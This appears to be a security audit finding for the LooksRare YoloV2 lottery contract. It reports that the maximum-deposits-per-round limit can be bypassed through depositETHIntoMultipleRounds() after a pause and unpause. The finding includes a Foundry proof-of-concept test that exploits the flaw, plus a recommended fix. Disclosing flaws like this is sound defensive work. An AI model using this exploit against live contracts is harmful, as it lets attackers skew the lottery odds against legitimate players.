Breezy Ebony Whale

medium

# Maximum number of deposits per round bypass possible after unpause

## Summary

The solution is implemented to allow only certain number of deposits to be done per each round. So players must adjust their tactic to this limitation. However, this condition can be bypassed in certain scenario. Whenever next, not `Open` round has maximum number of deposits done and the solution is paused by the owner before the `fulfillRandomWords()` function is executed, the `_startRound()` function will not attempt to draw winner for such round. Then, subsequent calls to the `depositETHIntoMultipleRounds()` function can be done to add more deposits, exceeding the limits due to insufficient validation within the `_shouldDrawWinner()` function. As a result, malicious players are granted possibility to invest more Ether within such round whenever they consider it potentially beneficial, decreasing chances of legitimate players for winning. Additionally, deposit of NFT or ERC20 tokens via the `deposit()` function will not be possible anymore in such round. Eventually, malicious players can extend this situation on future rounds by making deposits by means of the `depositETHIntoMultipleRounds()` function.

## Vulnerability Detail

Firstly, the solution defines constant representing the maximum number of deposits per round possible.

[YoloV2.sol#L81](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L81)
```solidity
[...]
    uint256 private constant MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND = 100;
[...]
```

Secondly, the constant is used within the `_deposit()` function to prevent multiple, exceeding limit deposits. However, there is no similar check within the `depositETHIntoMultipleRounds()` function.

[YoloV2.sol#L1221-L1223](https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L1221-L1223)
```solidity
[...]
        if (roundDepositCount > MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND) {
            revert MaximumNumberOfDepositsReached();
        }
[...]
```

Within the `depositETHIntoMultipleRounds()` and `_startRound()`  functions the `_shouldDrawWinner()` function is called. This functions checks whether `roundDepositCount` is equal to `MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND`.

[YoloV2.sol#L1711C1-L1719C6](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1711C1-L1719C6)
```solidity
    function _shouldDrawWinner(
        uint256 numberOfParticipants,
        uint256 maximumNumberOfParticipants,
        uint256 roundDepositCount
    ) private pure returns (bool shouldDraw) {
        shouldDraw =
            numberOfParticipants == maximumNumberOfParticipants ||
            (numberOfParticipants > 1 && roundDepositCount == MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND);
    }
```

Whenever  the `fulfillRandomWords()` function is executed and the contract is in the `paused` state the next round is automatically opened, but no attempt to draw winner is made.

[YoloV2.sol#L965](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L965)
```solidity
[...]
            if (
                !paused() &&
                _shouldDrawWinner(numberOfParticipants, round.maximumNumberOfParticipants, round.deposits.length)
            ) {
                _drawWinner(round, roundId);
            } else {
[...]
```

Afterwards, assuming that this round had made 100 deposits and the contract is in the `unpaused` state again, players can add more deposits within this round by means of the `depositETHIntoMultipleRounds()` function. The validation within the `_shouldDrawWinner()` function is ineffective as `roundDepositCount` would have a number larger than 100 in such case.
Also, future rounds can have exceeding number of deposits added, as validation checks only present, `Open` round.

## Proof of Concept

In this PoC, first player deposits 1 Ether into first and second round and 10 ether into third round. The malicious player makes 99 deposits in these rounds, mainly focusing on third round.  As the number of deposits within first round reaches the limit, it changes into to `Drawing` state.  At this point the owner pauses the contract.  The `rawFulfillRandomWords()` is called to close first round, however, it does not impact second round due to `paused` state. The owner unpauses the contract.  Malicious player calls `depositETHIntoMultipleRounds()` again and successfully makes 101st deposit into second and third round. 

```solidity
function test_gsec_depositETHIntoMultipleRounds_bypass_number_of_deposits_after_pause() public {
        uint256[] memory amounts = new uint256[](3);
        amounts[0] = 1 ether;
        amounts[1] = 1 ether;
        amounts[2] = 10 ether;

        vm.deal(user1, 12 ether); 
        vm.prank(user1);
        yolo.depositETHIntoMultipleRounds{value: 12 ether}(amounts);

        amounts[0] = 0 ether;
        amounts[1] = 0 ether;
        amounts[2] = 2 ether / 100; 

        for (uint256 i = 0; i < 99; i++) {
            vm.deal(user2, 2 ether / 100);
            vm.prank(user2);
            yolo.depositETHIntoMultipleRounds{value: 2 ether / 100}(amounts);
        }

        (IYoloV2.RoundStatus status,,,,,uint40 numberOfParticipants,address winner,uint96 valuePerEntry,uint256 protocolFeeOwed,IYoloV2.Deposit[] memory deposits) = yolo.getRound(1);

        assertEq(deposits.length, 100, "number of deposits");
        assertEq(uint8(status), uint8(IYoloV2.RoundStatus.Drawing));

        vm.prank(owner);
        yolo.togglePaused();

        uint256[] memory randomWords = new uint256[](1);
        randomWords[0] = 69_420;

        expectEmitCheckAll();
        emit RoundStatusUpdated(1, IYoloV2.RoundStatus.Drawn);

        vm.prank(VRF_COORDINATOR);
        VRFConsumerBaseV2(yolo).rawFulfillRandomWords(FULFILL_RANDOM_WORDS_REQUEST_ID, randomWords);

        vm.prank(owner);
        yolo.togglePaused();
        (status,,,,,numberOfParticipants,winner,valuePerEntry,protocolFeeOwed,deposits) = yolo.getRound(2);

         assertEq(deposits.length, 100, "number of deposits");
        assertEq(uint8(status), uint8(IYoloV2.RoundStatus.Open));

        IYoloV2.DepositCalldata[] memory depositsCalldata;
        vm.deal(user2, 2 ether / 100); 
        vm.prank(user2);
        vm.expectRevert(IYoloV2.MaximumNumberOfDepositsReached.selector);
        yolo.deposit{value: 2 ether / 100}(2, depositsCalldata);

        amounts[0] = 0 ether;
        amounts[1] = 2 ether / 100; 
        amounts[2] = 0 ether;

        vm.prank(user2);
        yolo.depositETHIntoMultipleRounds{value: 2 ether / 100}(amounts);

        (status,,,,,numberOfParticipants,winner,valuePerEntry,protocolFeeOwed,deposits) = yolo.getRound(2);

        assertEq(deposits.length, 101, "number of deposits");
        assertEq(uint8(status), uint8(IYoloV2.RoundStatus.Open));

        (status,,,,,numberOfParticipants,winner,valuePerEntry,protocolFeeOwed,deposits) = yolo.getRound(3);

        assertEq(deposits.length, 101, "number of deposits");
        assertEq(uint8(status), uint8(IYoloV2.RoundStatus.None));
    }
```

## Impact

- Malicious players are granted possibility to invest more Ether within impacted round whenever they consider it potentially beneficial, decreasing chances of legitimate players for winning.
- Deposit of NFT or ERC20 tokens via the `deposit()` function will not be possible anymore in impacted round.
- The bypass of deposits per round can be extended on future rounds by means of the  `depositETHIntoMultipleRounds()` function.

## Code Snippet

[YoloV2.sol#L1711C1-L1719C6](https://github.com/sherlock-audit/2024-01-looksrare/blob/7d76b96a58a6aee38f23bb38b8a5daa3bdc03f7c/contracts-yolo/contracts/YoloV2.sol#L1711C1-L1719C6)

## Tool used

Manual Review, Foundry

## Recommendation

It is recommended to ensure that only certain number of deposits can be added by means of the `depositETHIntoMultipleRounds()` function. It is recommended to consider adding similar validation to the `depositETHIntoMultipleRounds()` as it is done within the `_deposit()` ([YoloV2.sol#L1221-L1223](https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L1221-L1223)).
